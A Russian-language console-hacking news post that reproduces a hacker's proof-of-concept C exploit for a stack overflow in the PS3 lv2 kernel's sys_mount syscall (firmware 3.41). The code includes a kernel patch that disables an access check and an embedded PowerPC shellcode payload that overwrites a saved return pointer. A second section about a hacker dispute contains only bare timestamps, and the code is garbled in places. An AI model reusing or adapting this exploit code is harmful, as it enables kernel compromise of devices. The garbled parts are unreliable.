Просмотров: 498022-09-2012, 12:08 Недавно, хакер Naehrwert опубликовал некоторые подробности использования lv2_kernel в PS3 и опубликовал их ан примере прошивки 3.41. А так же была опубликована новая информация от хакера Mathieulh и об его якобы обвинениях во лжи от KaKaRoTo. Информация по использованию lv2 в PS3 от Naehrwert: Очень давно KaKaRoTo рассказал мне о переполнении stack, которое он при обратном инженеринге lv2_kernel. Но при этом возникли две проблемы: 1. Уязвимость находится в защищенном syscall (данный SELF должен иметь 0x40… набор управляющих флагов). Таким образом, надо найти подходящий эксплоит (не спрашивайте нас о нем), которая дает вашему коду запускаться с правильными привилегиями. 2. Сначала данные payload копируются в lv2 и функции позволяют сделать free call на него, прежде чем payload сможет выполниться. Может это и не выглядит, как проблема, но это значит, что lv2 будет помогать перезаписывать свободное пространство с участка 0xABADCAFE и тем самым, уничтожать payload. Здесь мой пример реализации на 3,41 lv2_kernel (хотя уязвимость должна присутствовать во всех версиях lv2 до последней прошивки), может быть, кто-то из вас найдет способ преодолеть эти проблемы (хотя бы под номером 2), и может получить что-то хорошее из этого, потому что на данный момент, это только крашит lv2. Пример реализации lv2 на прошивке 3.41: /* * lv2 sys_mount stack overflow * Original finder: KaKaRoTo (thank you for pointing it out!) * Note: all offsets/values/addrs in this source are 3.41 specific */ #include #include #include /* unk2, unk3 is what we're going to use here. lv2 will handle unk2, unk3 like this: char *strlist[FIXED_SIZE]; //On stack. for(i = 0; i < unk3; i++) strlist = strdup_from_uspace(*unk2++); */ static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/, u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/) { lv2syscall8(837, (u64)dev, (u64)fs, (u64)path, (u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3); return_to_user_prog(s64); } //For testing. static void patch_access_check() { //check_access @ 0x80000000000505D0 //li r3, 1 ; blr lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL); printf(" } int main(int argc, const char **argv) { //Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set. //Solution: Find a usermode exploit in a SELF that has them set. //Patch the ctrl flags check for testing. patch_access_check(); //Nop. char nop[] = "X"; //Payload. char payload[] = { //Insert valid PPC code here (without 0x00 bytes) //and hope lv2 heap 0x27 is executable and 0x04 aligned. 0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0 0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110 0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16 0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32 0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134 0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown) 0x38, 0x60, 0x02, 0x10, //li r3, 0x210 0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot) 0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0 0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0 0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0 0x4E, 0x80, 0x04, 0x20, //bctr //End of payload. 0x00 }; //List containing the entries. //stack frame size is 0x1C0 //strlist = framptr + 0xE0 //remaining stack frame size is 0xE0 (28 * 8) #define LIST_LENGTH (28 + 2 + 1) const char *list[LIST_LENGTH] = { //-0xE0 //Overwrite stack with nop entries (0xE0 bytes). nop, nop, nop, nop, nop, nop, nop, nop, //0x40 nop, nop, nop, nop, nop, nop, nop, nop, //0x80 nop, nop, nop, nop, nop, nop, nop, nop, //0xC0 nop, nop, nop, nop, //0x00 //Fill 0x10 bytes to reach saved r0. nop, nop, //+0x10 //Overwrite saved r0 with a pointer to our payload. payload }; //Doit! printf(" s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH); printf(" return 0; Наконец сообщения Mathieulh об его ранее, якобы лжи: 4 сентября 13:16:42 4 сентября 13:17:05 4 сентября 13:17:25 4 сентября 13:17:31 4 сентября 13:17:33 4 сентября 13:17:35 4 сентября 13:17:37 4 сентября 13:17:44 4 сентября 13:17:59 4 сентября 13:18:03 4 сентября 13:18:31 4 сентября 13:18:33 4 сентября 13:18:35 4 сентября 13:18:40 4 сентября 13:18:48 4 сентября 13:18:52 4 сентября 13:19:16 4 сентября 13:19:31 4 сентября 13:19:47 4 сентября 13:20:04 4 сентября 13:20:09 4 сентября 13:20:12 4 сентября 13:20:19 4 сентября 13:20:34 4 сентября 13:20:42 4 сентября 13:20:48 4 сентября 13:20:58 4 сентября 13:21:00 4 сентября 13:21:32 4 сентября 13:22:03 4 сентября 13:22:16 4 сентября 13:22:35 4 сентября 13:22:37 4 сентября 13:22:41 4 сентября 13:22:51 4 сентября 13:23:18 4 сентября 13:23:32 4 сентября 13:23:38 4 сентября 13:23:47 4 сентября 13:23:54 4 сентября 13:24:22 4 сентября 13:24:27 4 сентября 13:25:22 4 сентября 13:25:28 4 сентября 13:25:32
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем. Информация Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации. |